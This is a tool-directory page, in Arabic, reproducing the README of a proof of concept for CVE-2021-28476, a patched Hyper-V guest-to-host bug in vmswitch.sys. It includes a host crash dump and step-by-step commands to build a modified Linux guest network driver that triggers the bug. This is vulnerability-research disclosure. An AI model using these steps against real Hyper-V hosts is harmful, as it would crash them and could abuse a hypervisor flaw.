Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2021-28476 — إثبات المفهوم لـ CVE-2021-28476: ثغرة "تنفيذ كود عن بُعد في Hyper-V" من ضيف إلى مضيف في vmswitch.sys. | Kitploit
أدوات/GitHubGitHub/0vercl0k/cve-2021-28476
تحليل الثغرات الأمنيةالاستغلالالاختبار العشوائيالتعلم والتعليماستغلال الملفات الثنائيةArchived
GitHub0vercl0k/cve-2021-28476

CVE-2021-28476

إثبات المفهوم لـ CVE-2021-28476: ثغرة "تنفيذ كود عن بُعد في Hyper-V" من ضيف إلى مضيف في vmswitch.sys.

عرض المستودع
22634منذ 5 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2021-28476: ثغرة تنفيذ تعليمات برمجية عن بعد من الضيف إلى المضيف في Microsoft Hyper-V في vmswitch.sys

هذا هو إثبات المفهوم لـ CVE-2021-28476 ("ثغرة تنفيذ تعليمات برمجية عن بعد في Hyper-V")، وهي قراءة ذاكرة عشوائية في vmswitch.sys (موفر خدمة المحاكاة الافتراضية للشبكات) التي قامت Microsoft بتصحيحها في مايو 2021.

rel04vsrel05

تم اكتشاف الثغرة بواسطة @australeo و @ergot86 و @peleghd و @OphirHarpaz. ويمكن تفعيلها بواسطة جهاز افتراضي ضيف يرسل حزمة RNDIS خبيثة عبر VMBus (وهي آلية اتصال تعتمد على القنوات تُستخدم للاتصال بين الأقسام).

trigger

هذا ما يبدو عليه تعطل نظام المضيف في مصحح الأخطاء:

root@kitploit:~
*** Fatal System Error: 0x0000007e
                       (0xFFFFFFFFC0000005,0xFFFFF80AD4A41A63,0xFFFFB70DD7EB7028,0xFFFFB70DD7EB6860)

Break instruction exception - code 80000003 (first chance)

A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.

A fatal system error has occurred.

nt!DbgBreakPointWithStatus:
fffff801`31412c50 cc              int     3

kd> .cxr 0xffffb70dd7eb6860
rax=fffff80ad4bc7214 rbx=fffff80ad4bf62a0 rcx=0000000000000000
rdx=00000000047a2807 rsi=ffffb70dd7eb7420 rdi=ffffa58caa318f00
rip=fffff80ad4a41a63 rsp=ffffb70dd7eb7260 rbp=ffffa58caa318fe0
 r8=0000000000000000  r9=000000000000013b r10=deadbeefbaadc0be
r11=ffffb70dd7eb7230 r12=fffff80ad4bc73d0 r13=00000000c0000001
r14=00000000000021f0 r15=fffff80ad4bc7360
iopl=0         nv up ei pl zr na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00050246
vmswitch!VmsIfrInfoParams_OID_SWITCH_NIC_REQUEST+0xfb:
fffff80a`d4a41a63 418b4a20        mov     ecx,dword ptr [r10+20h] ds:002b:deadbeef`baadc0de=????????

kd> kp
 # Child-SP          RetAddr               Call Site
00 ffffb70d`d7eb7260 fffff80a`d4a3ee41     vmswitch!VmsIfrInfoParams_OID_SWITCH_NIC_REQUEST+0xfb
01 ffffb70d`d7eb7300 fffff80a`d4a3fc76     vmswitch!VmsIfrInfoParamsNdisOidRequestBuffer+0x14d
02 ffffb70d`d7eb7380 fffff80a`d4a3c779     vmswitch!RndisDevHostHandleSetMessage+0x196
03 ffffb70d`d7eb7420 fffff801`3136f423     vmswitch!RndisDevHostControlMessageWorkerRoutine+0x199
04 ffffb70d`d7eb74c0 fffff801`3123a975     nt!IopProcessWorkItem+0x93
05 ffffb70d`d7eb7530 fffff801`3132ce85     nt!ExpWorkerThread+0x105
06 ffffb70d`d7eb75d0 fffff801`31412408     nt!PspSystemThreadStartup+0x55
07 ffffb70d`d7eb7620 00000000`00000000     nt!KiStartSystemThread+0x28

الخطأ نفسه يحدث في VmsIfrInfoParams_OID_SWITCH_NIC_REQUEST وهي دالة يمكن استدعاؤها ببيانات يتحكم بها المهاجم (وهو ما لا ينبغي) ويتم فيها إلغاء الإشارة إلى مؤشر (boom->_win أدناه) يمكن لجهاز افتراضي ضار توفيره.

boom

إذا كان هذا مثيرًا لاهتمامك، فسيقوم @peleghd و @OphirHarpaz بمناقشة هذا بالتفصيل بالإضافة إلى عملية الاكتشاف في عرض تقديمي في BlackHat USA 2021 بعنوان hAFL1: Our Journey of Fuzzing Hyper-V and Discovering a 0-Day.

تشغيل إثبات المفهوم

أسهل طريقة لتشغيل إثبات المفهوم هي إنشاء جهاز افتراضي يعمل بنظام Linux بأحدث إصدار Ubuntu Focal.

بمجرد الانتهاء من ذلك، قم باستنساخ مصادر النواة المطابقة:

root@kitploit:~
$ uname -a
Linux tourdeforce 5.4.0-73-generic #82-Ubuntu SMP Wed Apr 14 17:39:42 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
$ git clone git://kernel.ubuntu.com/ubuntu/ubuntu-focal.git
$ cd ubuntu-focal
$ git checkout Ubuntu-5.4.0-73.82
$ git branch fbl_vswitch
$ git checkout fbl_vswitch

استبدل ~/ubuntu-focal/drivers/net/hyperv/netvsc_drv.c بـ src/netvsc_drv.c، و ~/ubuntu-focal/drivers/net/hyperv/rndis_filter.c بـ src/rndis_filter.c، و ~/ubuntu-focal/drivers/net/hyperv/hyperv_net.h بـ src/hyperv_net.h (الفرق الكامل متاح في cve-2021-28476.diff):

root@kitploit:~
$ sudo apt-get install git build-essential kernel-package fakeroot libncurses5-dev libssl-dev ccache bison flex libelf-dev dwarves
$ cp /boot/config-5.4.0-73-generic .config
$ make oldconfig
$ make modules
$ make M=drivers/net/hyperv

أخيرًا، قم بتفعيل المشكلة عن طريق تحميل الوحدة وتغيير عنوان الإيثرنت لواجهة الشبكة (هذا الإجراء يقوم بتفعيل مسار الكود المحدد الذي أضفناه في rndis_filter.c / netvsc_set_mac_addr):

root@kitploit:~
$ sudo rmmod hv_netvsc && insmod drivers/net/hyperv/hv_netvsc.ko
$ sudo ifconfig eth0 hw ether 00:11:22:33:44

المؤلفون

  • Axel '@0vercl0k' Souchet
تنزيل الأداة